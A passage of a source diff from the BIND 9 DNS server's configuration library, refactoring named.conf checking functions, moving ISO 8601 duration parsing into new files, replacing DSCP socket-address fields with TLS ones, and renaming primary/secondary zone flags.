+check_controls(const cfg_obj_t *config, isc_log_t *logctx, isc_mem_t *mctx) {
 	isc_result_t result = ISC_R_SUCCESS, tresult;
 	cfg_aclconfctx_t *actx = NULL;
 	const cfg_listelt_t *element, *element2;
@@ -5047,8 +5678,7 @@ bind9_check_controls(const cfg_obj_t *config, isc_log_t *logctx,
 			if (tresult != ISC_R_SUCCESS) {
 				result = tresult;
 			}
-			tresult = bind9_check_controlskeys(control, keylist,
-							   logctx);
+			tresult = check_controlskeys(control, keylist, logctx);
 			if (tresult != ISC_R_SUCCESS) {
 				result = tresult;
 			}
@@ -5087,8 +5717,7 @@ bind9_check_controls(const cfg_obj_t *config, isc_log_t *logctx,
 					    "to nobody",
 					    path);
 			}
-			tresult = bind9_check_controlskeys(control, keylist,
-							   logctx);
+			tresult = check_controlskeys(control, keylist, logctx);
 			if (tresult != ISC_R_SUCCESS) {
 				result = tresult;
 			}
@@ -5099,13 +5728,11 @@ bind9_check_controls(const cfg_obj_t *config, isc_log_t *logctx,
 }
 
 isc_result_t
-bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
-		      isc_log_t *logctx, isc_mem_t *mctx) {
+isccfg_check_namedconf(const cfg_obj_t *config, unsigned int flags,
+		       isc_log_t *logctx, isc_mem_t *mctx) {
 	const cfg_obj_t *options = NULL;
 	const cfg_obj_t *views = NULL;
 	const cfg_obj_t *acls = NULL;
-	const cfg_obj_t *kals = NULL;
-	const cfg_obj_t *obj;
 	const cfg_listelt_t *velement;
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_result_t tresult;
@@ -5113,27 +5740,43 @@ bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
 	isc_symtab_t *files = NULL;
 	isc_symtab_t *keydirs = NULL;
 	isc_symtab_t *inview = NULL;
+	bool check_algorithms = (flags & BIND_CHECK_ALGORITHMS) != 0;
 
 	static const char *builtin[] = { "localhost", "localnets", "any",
 					 "none" };
 
 	(void)cfg_map_get(config, "options", &options);
 
-	if (options != NULL && check_options(options, config, logctx, mctx,
-					     optlevel_options) != ISC_R_SUCCESS)
+	if (options != NULL &&
+	    check_options(options, config, check_algorithms, logctx, mctx,
+			  optlevel_options) != ISC_R_SUCCESS)
 	{
 		result = ISC_R_FAILURE;
 	}
 
-	if (bind9_check_logging(config, logctx, mctx) != ISC_R_SUCCESS) {
+	if (check_logging(config, logctx, mctx) != ISC_R_SUCCESS) {
+		result = ISC_R_FAILURE;
+	}
+
+	if (check_controls(config, logctx, mctx) != ISC_R_SUCCESS) {
 		result = ISC_R_FAILURE;
 	}
 
-	if (bind9_check_controls(config, logctx, mctx) != ISC_R_SUCCESS) {
+	if (check_primarylists(config, logctx, mctx) != ISC_R_SUCCESS) {
 		result = ISC_R_FAILURE;
 	}
 
-	if (bind9_check_primarylists(config, logctx, mctx) != ISC_R_SUCCESS) {
+	if (check_parentalagentlists(config, logctx, mctx) != ISC_R_SUCCESS) {
+		result = ISC_R_FAILURE;
+	}
+
+#if HAVE_LIBNGHTTP2
+	if (check_httpservers(config, logctx, mctx) != ISC_R_SUCCESS) {
+		result = ISC_R_FAILURE;
+	}
+#endif /* HAVE_LIBNGHTTP2 */
+
+	if (check_tls_definitions(config, logctx, mctx) != ISC_R_SUCCESS) {
 		result = ISC_R_FAILURE;
 	}
 
@@ -5177,8 +5820,8 @@ bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
 
 	if (views == NULL) {
 		tresult = check_viewconf(config, NULL, NULL, dns_rdataclass_in,
-					 files, keydirs, check_plugins, inview,
-					 logctx, mctx);
+					 files, keydirs, flags, inview, logctx,
+					 mctx);
 		if (result == ISC_R_SUCCESS && tresult != ISC_R_SUCCESS) {
 			result = ISC_R_FAILURE;
 		}
@@ -5224,7 +5867,7 @@ bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
 		if (cfg_obj_isstring(vclassobj)) {
 			isc_textregion_t r;
 
-			DE_CONST(cfg_obj_asstring(vclassobj), r.base);
+			r.base = UNCONST(cfg_obj_asstring(vclassobj));
 			r.length = strlen(r.base);
 			tresult = dns_rdataclass_fromtext(&vclass, &r);
 			if (tresult != ISC_R_SUCCESS) {
@@ -5269,25 +5912,14 @@ bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
 		}
 		if (tresult == ISC_R_SUCCESS) {
 			tresult = check_viewconf(config, voptions, key, vclass,
-						 files, keydirs, check_plugins,
-						 inview, logctx, mctx);
+						 files, keydirs, flags, inview,
+						 logctx, mctx);
 		}
 		if (tresult != ISC_R_SUCCESS) {
 			result = ISC_R_FAILURE;
 		}
 	}
 
-	if (views != NULL && options != NULL) {
-		obj = NULL;
-		tresult = cfg_map_get(options, "cache-file", &obj);
-		if (tresult == ISC_R_SUCCESS) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "'cache-file' cannot be a global "
-				    "option if views are present");
-			result = ISC_R_FAILURE;
-		}
-	}
-
 	cfg_map_get(config, "acl", &acls);
 
 	if (acls != NULL) {
@@ -5296,14 +5928,16 @@ bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
 		const char *aclname;
 
 		for (elt = cfg_list_first(acls); elt != NULL;
-		     elt = cfg_list_next(elt)) {
+		     elt = cfg_list_next(elt))
+		{
 			const cfg_obj_t *acl = cfg_listelt_value(elt);
 			unsigned int line = cfg_obj_line(acl);
 			unsigned int i;
 
 			aclname = cfg_obj_asstring(cfg_tuple_get(acl, "name"));
 			for (i = 0; i < sizeof(builtin) / sizeof(builtin[0]);
-			     i++) {
+			     i++)
+			{
 				if (strcasecmp(aclname, builtin[i]) == 0) {
 					{
 						cfg_obj_log(acl, logctx,
@@ -5319,7 +5953,8 @@ bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
 			}
 
 			for (elt2 = cfg_list_next(elt); elt2 != NULL;
-			     elt2 = cfg_list_next(elt2)) {
+			     elt2 = cfg_list_next(elt2))
+			{
 				const cfg_obj_t *acl2 = cfg_listelt_value(elt2);
 				const char *name;
 				name = cfg_obj_asstring(
@@ -5342,43 +5977,6 @@ bind9_check_namedconf(const cfg_obj_t *config, bool check_plugins,
 		}
 	}
 
-	tresult = cfg_map_get(config, "kal", &kals);
-	if (tresult == ISC_R_SUCCESS) {
-		const cfg_listelt_t *elt;
-		const cfg_listelt_t *elt2;
-		const char *aclname;
-
-		for (elt = cfg_list_first(kals); elt != NULL;
-		     elt = cfg_list_next(elt)) {
-			const cfg_obj_t *acl = cfg_listelt_value(elt);
-
-			aclname = cfg_obj_asstring(cfg_tuple_get(acl, "name"));
-
-			for (elt2 = cfg_list_next(elt); elt2 != NULL;
-			     elt2 = cfg_list_next(elt2)) {
-				const cfg_obj_t *acl2 = cfg_listelt_value(elt2);
-				const char *name;
-				name = cfg_obj_asstring(
-					cfg_tuple_get(acl2, "name"));
-				if (strcasecmp(aclname, name) == 0) {
-					const char *file = cfg_obj_file(acl);
-					unsigned int line = cfg_obj_line(acl);
-
-					if (file == NULL) {
-						file = "<unknown file>";
-					}
-
-					cfg_obj_log(acl2, logctx, ISC_LOG_ERROR,
-						    "attempt to redefine "
-						    "kal '%s' previous "
-						    "definition: %s:%u",
-						    name, file, line);
-					result = ISC_R_FAILURE;
-				}
-			}
-		}
-	}
-
 cleanup:
 	if (symtab != NULL) {
 		isc_symtab_destroy(&symtab);
diff --git a/lib/isccfg/dnsconf.c b/lib/isccfg/dnsconf.c
index a9010e375b..ccd72328bc 100644
--- a/lib/isccfg/dnsconf.c
+++ b/lib/isccfg/dnsconf.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -50,7 +52,6 @@ static cfg_clausedef_t dnsconf_clauses[] = {
 
 static cfg_clausedef_t *dnsconf_clausesets[] = { dnsconf_clauses, NULL };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_dnsconf = {
-	"dnsconf",	 cfg_parse_mapbody, cfg_print_mapbody,
-	cfg_doc_mapbody, &cfg_rep_map,	    dnsconf_clausesets
-};
+cfg_type_t cfg_type_dnsconf = { "dnsconf",	   cfg_parse_mapbody,
+				cfg_print_mapbody, cfg_doc_mapbody,
+				&cfg_rep_map,	   dnsconf_clausesets };
diff --git a/lib/isccfg/duration.c b/lib/isccfg/duration.c
new file mode 100644
index 0000000000..edb8370f40
--- /dev/null
+++ b/lib/isccfg/duration.c
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <ctype.h>
+#include <errno.h>
+#include <inttypes.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <isc/buffer.h>
+#include <isc/parseint.h>
+#include <isc/region.h>
+#include <isc/result.h>
+#include <isc/string.h>
+#include <isc/util.h>
+
+#include <dns/ttl.h>
+
+#include <isccfg/duration.h>
+
+/*
+ * isccfg_duration_fromtext initially taken from OpenDNSSEC code base.
+ * Modified to fit the BIND 9 code.
+ */
+isc_result_t
+isccfg_duration_fromtext(isc_textregion_t *source,
+			 isccfg_duration_t *duration) {
+	char buf[CFG_DURATION_MAXLEN] = { 0 };
+	char *P, *X, *T, *W, *str;
+	bool not_weeks = false;
+	int i;
+	long long int lli;
+
+	/*
+	 * Copy the buffer as it may not be NULL terminated.
+	 */
+	if (source->length > sizeof(buf) - 1) {
+		return (ISC_R_BADNUMBER);
+	}
+	/* Copy source->length bytes and NULL terminate. */
+	snprintf(buf, sizeof(buf), "%.*s", (int)source->length, source->base);
+	str = buf;
+
+	/* Clear out duration. */
+	for (i = 0; i < 7; i++) {
+		duration->parts[i] = 0;
+	}
+	duration->iso8601 = false;
+	duration->unlimited = false;
+
+	/* Every duration starts with 'P' */
+	if (toupper((unsigned char)str[0]) != 'P') {
+		return (ISC_R_BADNUMBER);
+	}
+	P = str;
+
+	/* Record the time indicator. */
+	T = strpbrk(str, "Tt");
+
+	/* Record years. */
+	X = strpbrk(str, "Yy");
+	if (X != NULL) {
+		errno = 0;
+		lli = strtoll(str + 1, NULL, 10);
+		if (errno != 0 || lli < 0 || lli > UINT32_MAX) {
+			return (ISC_R_BADNUMBER);
+		}
+		duration->parts[0] = (uint32_t)lli;
+		str = X;
+		not_weeks = true;
+	}
+
+	/* Record months. */
+	X = strpbrk(str, "Mm");
+
+	/*
+	 * M could be months or minutes. This is months if there is no time
+	 * part, or this M indicator is before the time indicator.
+	 */
+	if (X != NULL && (T == NULL || (size_t)(X - P) < (size_t)(T - P))) {
+		errno = 0;
+		lli = strtoll(str + 1, NULL, 10);
+		if (errno != 0 || lli < 0 || lli > UINT32_MAX) {
+			return (ISC_R_BADNUMBER);
+		}
+		duration->parts[1] = (uint32_t)lli;
+		str = X;
+		not_weeks = true;
+	}
+
+	/* Record days. */
+	X = strpbrk(str, "Dd");
+	if (X != NULL) {
+		errno = 0;
+		lli = strtoll(str + 1, NULL, 10);
+		if (errno != 0 || lli < 0 || lli > UINT32_MAX) {
+			return (ISC_R_BADNUMBER);
+		}
+		duration->parts[3] = (uint32_t)lli;
+		str = X;
+		not_weeks = true;
+	}
+
+	/* Time part? */
+	if (T != NULL) {
+		str = T;
+		not_weeks = true;
+	}
+
+	/* Record hours. */
+	X = strpbrk(str, "Hh");
+	if (X != NULL && T != NULL) {
+		errno = 0;
+		lli = strtoll(str + 1, NULL, 10);
+		if (errno != 0 || lli < 0 || lli > UINT32_MAX) {
+			return (ISC_R_BADNUMBER);
+		}
+		duration->parts[4] = (uint32_t)lli;
+		str = X;
+		not_weeks = true;
+	}
+
+	/* Record minutes. */
+	X = strpbrk(str, "Mm");
+
+	/*
+	 * M could be months or minutes. This is minutes if there is a time
+	 * part and the M indicator is behind the time indicator.
+	 */
+	if (X != NULL && T != NULL && (size_t)(X - P) > (size_t)(T - P)) {
+		errno = 0;
+		lli = strtoll(str + 1, NULL, 10);
+		if (errno != 0 || lli < 0 || lli > UINT32_MAX) {
+			return (ISC_R_BADNUMBER);
+		}
+		duration->parts[5] = (uint32_t)lli;
+		str = X;
+		not_weeks = true;
+	}
+
+	/* Record seconds. */
+	X = strpbrk(str, "Ss");
+	if (X != NULL && T != NULL) {
+		errno = 0;
+		lli = strtoll(str + 1, NULL, 10);
+		if (errno != 0 || lli < 0 || lli > UINT32_MAX) {
+			return (ISC_R_BADNUMBER);
+		}
+		duration->parts[6] = (uint32_t)lli;
+		str = X;
+		not_weeks = true;
+	}
+
+	/* Or is the duration configured in weeks? */
+	W = strpbrk(buf, "Ww");
+	if (W != NULL) {
+		if (not_weeks) {
+			/* Mix of weeks and other indicators is not allowed */
+			return (ISC_R_BADNUMBER);
+		} else {
+			errno = 0;
+			lli = strtoll(str + 1, NULL, 10);
+			if (errno != 0 || lli < 0 || lli > UINT32_MAX) {
+				return (ISC_R_BADNUMBER);
+			}
+			duration->parts[2] = (uint32_t)lli;
+			str = W;
+		}
+	}
+
+	/* Deal with trailing garbage. */
+	if (str[1] != '\0') {
+		return (ISC_R_BADNUMBER);
+	}
+
+	duration->iso8601 = true;
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+isccfg_parse_duration(isc_textregion_t *source, isccfg_duration_t *duration) {
+	isc_result_t result;
+
+	REQUIRE(duration != NULL);
+
+	duration->unlimited = false;
+	result = isccfg_duration_fromtext(source, duration);
+	if (result == ISC_R_BADNUMBER) {
+		/* Fallback to dns_ttl_fromtext. */
+		uint32_t ttl;
+		result = dns_ttl_fromtext(source, &ttl);
+		if (result == ISC_R_SUCCESS) {
+			/*
+			 * With dns_ttl_fromtext() the information on optional
+			 * units is lost, and is treated as seconds from now on.
+			 */
+			duration->iso8601 = false;
+			duration->parts[6] = ttl;
+		}
+	}
+
+	return (result);
+}
+
+uint32_t
+isccfg_duration_toseconds(const isccfg_duration_t *duration) {
+	uint64_t seconds = 0;
+
+	REQUIRE(duration != NULL);
+
+	seconds += (uint64_t)duration->parts[6];	     /* Seconds */
+	seconds += (uint64_t)duration->parts[5] * 60;	     /* Minutes */
+	seconds += (uint64_t)duration->parts[4] * 3600;	     /* Hours */
+	seconds += (uint64_t)duration->parts[3] * 86400;     /* Days */
+	seconds += (uint64_t)duration->parts[2] * 86400 * 7; /* Weeks */
+	/*
+	 * The below additions are not entirely correct
+	 * because days may vary per month and per year.
+	 */
+	seconds += (uint64_t)duration->parts[1] * 86400 * 31;  /* Months */
+	seconds += (uint64_t)duration->parts[0] * 86400 * 365; /* Years */
+
+	return (seconds > UINT32_MAX ? UINT32_MAX : (uint32_t)seconds);
+}
diff --git a/lib/isccfg/include/isccfg/aclconf.h b/lib/isccfg/include/isccfg/aclconf.h
index 81e43129d8..3d70f922e7 100644
--- a/lib/isccfg/include/isccfg/aclconf.h
+++ b/lib/isccfg/include/isccfg/aclconf.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISCCFG_ACLCONF_H
-#define ISCCFG_ACLCONF_H 1
+#pragma once
 
 #include <inttypes.h>
 
@@ -59,12 +60,6 @@ isc_result_t
 cfg_acl_fromconfig(const cfg_obj_t *caml, const cfg_obj_t *cctx,
 		   isc_log_t *lctx, cfg_aclconfctx_t *ctx, isc_mem_t *mctx,
 		   unsigned int nest_level, dns_acl_t **target);
-
-isc_result_t
-cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
-		    isc_log_t *lctx, cfg_aclconfctx_t *ctx, isc_mem_t *mctx,
-		    unsigned int nest_level, uint16_t family,
-		    dns_acl_t **target);
 /*
  * Construct a new dns_acl_t from configuration data in 'caml' and
  * 'cctx'.  Memory is allocated through 'mctx'.
@@ -75,11 +70,6 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
  * nested dns_acl_t object when the referring objects were created
  * passing the same ACL configuration context 'ctx'.
  *
- * cfg_acl_fromconfig() is a backward-compatible version of
- * cfg_acl_fromconfig2(), which allows an address family to be
- * specified.  If 'family' is not zero, then only addresses/prefixes
- * of a matching family (AF_INET or AF_INET6) may be configured.
- *
  * On success, attach '*target' to the new dns_acl_t object.
  *
  * Require:
@@ -88,5 +78,3 @@ cfg_acl_fromconfig2(const cfg_obj_t *caml, const cfg_obj_t *cctx,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCFG_ACLCONF_H */
diff --git a/lib/isccfg/include/isccfg/cfg.h b/lib/isccfg/include/isccfg/cfg.h
index 388ebe30fa..f790cd4377 100644
--- a/lib/isccfg/include/isccfg/cfg.h
+++ b/lib/isccfg/include/isccfg/cfg.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISCCFG_CFG_H
-#define ISCCFG_CFG_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -70,7 +71,7 @@ typedef struct cfg_listelt cfg_listelt_t;
  * that needs to be interpreted at parsing time, like
  * "directory".
  */
-typedef isc_result_t (*cfg_parsecallback_t)(const char *     clausename,
+typedef isc_result_t (*cfg_parsecallback_t)(const char	    *clausename,
 					    const cfg_obj_t *obj, void *arg);
 
 /***
@@ -391,6 +392,12 @@ cfg_obj_issockaddr(const cfg_obj_t *obj);
  * Return true iff 'obj' is a socket address.
  */
 
+bool
+cfg_obj_issockaddrtls(const cfg_obj_t *obj);
+/*%<
+ * Return true iff 'obj' is a socket address with an optional tls configuration.
+ */
+
 const isc_sockaddr_t *
 cfg_obj_assockaddr(const cfg_obj_t *obj);
 /*%<
@@ -398,17 +405,17 @@ cfg_obj_assockaddr(const cfg_obj_t *obj);
  *
  * Requires:
  * \li     'obj' points to a valid configuration object of a socket address
- * type.
+ * type, or of a socket address type with an optional tls configuration.
  *
  * Returns:
  * \li     A pointer to a sockaddr.  The sockaddr must be copied by the caller
  *      if necessary.
  */
 
-isc_dscp_t
-cfg_obj_getdscp(const cfg_obj_t *obj);
+const char *
+cfg_obj_getsockaddrtls(const cfg_obj_t *obj);
 /*%<
- * Returns the DSCP value of a configuration object representing a
+ * Returns the TLS value of a configuration object representing a
  * socket address.
  *
  * Requires:
@@ -416,7 +423,7 @@ cfg_obj_getdscp(const cfg_obj_t *obj);
  *         socket address type.
  *
  * Returns:
- * \li     DSCP value associated with a sockaddr, or -1.
+ * \li     TLS value associated with a sockaddr, or NULL.
  */
 
 bool
@@ -579,9 +586,9 @@ cfg_map_nextclause(const cfg_type_t *map, const void **clauses,
 
 typedef isc_result_t(pluginlist_cb_t)(const cfg_obj_t *config,
 				      const cfg_obj_t *obj,
-				      const char *     plugin_path,
-				      const char *     parameters,
-				      void *	       callback_data);
+				      const char      *plugin_path,
+				      const char      *parameters,
+				      void	      *callback_data);
 /*%<
  * Function prototype for the callback used with cfg_pluginlist_foreach().
  * Called once for each element of the list passed to cfg_pluginlist_foreach().
@@ -620,5 +627,3 @@ cfg_pluginlist_foreach(const cfg_obj_t *config, const cfg_obj_t *list,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISCCFG_CFG_H */
diff --git a/lib/isccfg/include/isccfg/check.h b/lib/isccfg/include/isccfg/check.h
new file mode 100644
index 0000000000..aa38a8c4b5
--- /dev/null
+++ b/lib/isccfg/include/isccfg/check.h
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file isccfg/check.h */
+
+#include <isc/lang.h>
+#include <isc/types.h>
+
+#include <isccfg/cfg.h>
+
+#ifndef MAX_MIN_CACHE_TTL
+#define MAX_MIN_CACHE_TTL 90
+#endif /* MAX_MIN_CACHE_TTL */
+
+#ifndef MAX_MIN_NCACHE_TTL
+#define MAX_MIN_NCACHE_TTL 90
+#endif /* MAX_MIN_NCACHE_TTL */
+
+#ifndef MAX_MAX_NCACHE_TTL
+#define MAX_MAX_NCACHE_TTL 7 * 24 * 3600
+#endif /* MAX_MAX_NCACHE_TTL */
+
+#define BIND_CHECK_PLUGINS 0x00000001
+/*%<
+ * Check the plugin configuration.
+ */
+#define BIND_CHECK_ALGORITHMS 0x00000002
+/*%<
+ * Check the dnssec-policy DNSSEC algorithms against those
+ * supported by the crypto provider.
+ */
+
+ISC_LANG_BEGINDECLS
+
+isc_result_t
+isccfg_check_namedconf(const cfg_obj_t *config, unsigned int flags,
+		       isc_log_t *logctx, isc_mem_t *mctx);
+/*%<
+ * Check the syntactic validity of a configuration parse tree generated from
+ * a named.conf file.
+ *
+ * If 'check_plugins' is true, load plugins and check the validity of their
+ * parameters as well.
+ *
+ * Requires:
+ *\li	config is a valid parse tree
+ *
+ *\li	logctx is a valid logging context.
+ *
+ * Returns:
+ * \li	#ISC_R_SUCCESS
+ * \li	#ISC_R_FAILURE
+ */
+
+isc_result_t
+isccfg_check_key(const cfg_obj_t *config, isc_log_t *logctx);
+/*%<
+ * Same as isccfg_check_namedconf(), but for a single 'key' statement.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isccfg/include/isccfg/duration.h b/lib/isccfg/include/isccfg/duration.h
new file mode 100644
index 0000000000..bd0c35bad8
--- /dev/null
+++ b/lib/isccfg/include/isccfg/duration.h
@@ -0,0 +1,87 @@
+
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*! \file */
+
+#include <inttypes.h>
+#include <stdbool.h>
+
+#include <isc/lang.h>
+#include <isc/types.h>
+
+ISC_LANG_BEGINDECLS
+
+#define CFG_DURATION_MAXLEN 80
+
+/*%
+ * A configuration object to store ISO 8601 durations.
+ */
+typedef struct isccfg_duration {
+	/*
+	 * The duration is stored in multiple parts:
+	 * [0] Years
+	 * [1] Months
+	 * [2] Weeks
+	 * [3] Days
+	 * [4] Hours
+	 * [5] Minutes
+	 * [6] Seconds
+	 */
+	uint32_t parts[7];
+	bool	 iso8601;
+	bool	 unlimited;
+} isccfg_duration_t;
+
+isc_result_t
+isccfg_duration_fromtext(isc_textregion_t *source, isccfg_duration_t *duration);
+/*%<
+ * Converts an ISO 8601 duration style value.
+ *
+ * Returns:
+ *\li	ISC_R_SUCCESS
+ *\li	DNS_R_BADNUMBER
+ */
+
+isc_result_t
+isccfg_parse_duration(isc_textregion_t *source, isccfg_duration_t *duration);
+/*%<
+ * Converts a duration string to a ISO 8601 duration.
+ * If the string does not start with a P (or p), fall back to TTL-style value.
+ * In that case the duration will be treated in seconds only.
+ *
+ * Returns:
+ *\li	ISC_R_SUCCESS
+ *\li	DNS_R_BADNUMBER
+ *\li	DNS_R_BADTTL
+ */
+
+uint32_t
+isccfg_duration_toseconds(const isccfg_duration_t *duration);
+/*%<
+ * Converts an ISO 8601 duration to seconds.
+ * The conversion is approximate:
+ * - Months will be treated as 31 days.
+ * - Years will be treated as 365 days.
+ *
+ * Notes:
+ *\li	If the duration in seconds is greater than UINT32_MAX, the return value
+ * 	will be UINT32_MAX.
+ *
+ * Returns:
+ *\li	The duration in seconds.
+ */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isccfg/include/isccfg/grammar.h b/lib/isccfg/include/isccfg/grammar.h
index 45513d0e46..7cbcf7f470 100644
--- a/lib/isccfg/include/isccfg/grammar.h
+++ b/lib/isccfg/include/isccfg/grammar.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISCCFG_GRAMMAR_H
-#define ISCCFG_GRAMMAR_H 1
+#pragma once
 
 /*! \file isccfg/grammar.h */
 
@@ -24,6 +25,7 @@
 #include <isc/types.h>
 
 #include <isccfg/cfg.h>
+#include <isccfg/duration.h>
 
 /*
  * Definitions shared between the configuration parser
@@ -43,13 +45,14 @@
  * "directory" option.
  */
 #define CFG_CLAUSEFLAG_CALLBACK 0x00000020
-/*% A option that is only used in testing. */
+/*% An option that is only used in testing. */
 #define CFG_CLAUSEFLAG_TESTONLY 0x00000040
 /*% A configuration option that was not configured at compile time. */
 #define CFG_CLAUSEFLAG_NOTCONFIGURED 0x00000080
-/*% A option for a experimental feature. */
+/*% An option for an experimental feature. */
 #define CFG_CLAUSEFLAG_EXPERIMENTAL 0x00000100
-/* obsolete: #define CFG_CLAUSEFLAG_NOOP 0x00000200 */
+/*% An option that should be omited from the documentation */
+#define CFG_CLAUSEFLAG_NODOC 0x00000200
 /*% Clause will be obsolete in a future release (logs a warning) */
 #define CFG_CLAUSEFLAG_DEPRECATED 0x00000400
 /*% Clause has been obsolete so long that it's now a fatal error */
@@ -60,8 +63,8 @@
  * These share space with CFG_CLAUSEFLAG values, but count
  * down from the top.
  */
-#define CFG_ZONE_MASTER	    0x80000000
-#define CFG_ZONE_SLAVE	    0x40000000
+#define CFG_ZONE_PRIMARY    0x80000000
+#define CFG_ZONE_SECONDARY  0x40000000
 #define CFG_ZONE_STUB	    0x20000000
 #define CFG_ZONE_HINT	    0x10000000
 #define CFG_ZONE_FORWARD    0x08000000
@@ -75,11 +78,8 @@ typedef struct cfg_clausedef	 cfg_clausedef_t;
 typedef struct cfg_tuplefielddef cfg_tuplefielddef_t;
 typedef struct cfg_printer	 cfg_printer_t;
 typedef ISC_LIST(cfg_listelt_t) cfg_list_t;
-typedef struct cfg_map	    cfg_map_t;
-typedef struct cfg_rep	    cfg_rep_t;
-typedef struct cfg_duration cfg_duration_t;
-
-#define CFG_DURATION_MAXLEN 64
+typedef struct cfg_map cfg_map_t;
+typedef struct cfg_rep cfg_rep_t;
 
 /*
  * Function types for configuration object methods
@@ -109,31 +109,31 @@ struct cfg_printer {
 
 /*% A clause definition. */
 struct cfg_clausedef {
-	const char * name;
-	cfg_type_t * type;
+	const char  *name;
+	cfg_type_t  *type;
 	unsigned int flags;
 };
 
 /*% A tuple field definition. */
 struct cfg_tuplefielddef {
-	const char * name;
-	cfg_type_t * type;
+	const char  *name;
+	cfg_type_t  *type;
 	unsigned int flags;
 };
 
 /*% A configuration object type definition. */
 struct cfg_type {
-	const char *	name; /*%< For debugging purposes only */
+	const char     *name; /*%< For debugging purposes only */
 	cfg_parsefunc_t parse;
 	cfg_printfunc_t print;
 	cfg_docfunc_t	doc; /*%< Print grammar description */
-	cfg_rep_t *	rep; /*%< Data representation */
-	const void *	of;  /*%< Additional data for meta-types */
+	cfg_rep_t      *rep; /*%< Data representation */
+	const void     *of;  /*%< Additional data for meta-types */
 };
 
 /*% A keyword-type definition, for things like "port <integer>". */
 typedef struct {
-	const char *	  name;
+	const char	 *name;
 	const cfg_type_t *type;
 } keyword_type_t;
 
@@ -153,30 +153,11 @@ struct cfg_netprefix {
 	unsigned int  prefixlen;
 };
 
-/*%
- * A configuration object to store ISO 8601 durations.
- */
-struct cfg_duration {
-	/*
-	 * The duration is stored in multiple parts:
-	 * [0] Years
-	 * [1] Months
-	 * [2] Weeks
-	 * [3] Days
-	 * [4] Hours
-	 * [5] Minutes
-	 * [6] Seconds
-	 */
-	uint32_t parts[7];
-	bool	 iso8601;
-	bool	 unlimited;
-};
-
 /*%
  * A configuration data representation.
  */
 struct cfg_rep {
-	const char *   name; /*%< For debugging only */
+	const char    *name; /*%< For debugging only */
 	cfg_freefunc_t free; /*%< How to free this kind of data. */
 };
 
@@ -194,19 +175,19 @@ struct cfg_obj {
 		bool		 boolean;
 		cfg_map_t	 map;
 		cfg_list_t	 list;
-		cfg_obj_t **	 tuple;
+		cfg_obj_t      **tuple;
 		isc_sockaddr_t	 sockaddr;
 		struct {
-			isc_sockaddr_t sockaddr;
-			isc_dscp_t     dscp;
-		} sockaddrdscp;
-		cfg_netprefix_t netprefix;
-		cfg_duration_t	duration;
+			isc_sockaddr_t	 sockaddr;
+			isc_textregion_t tls;
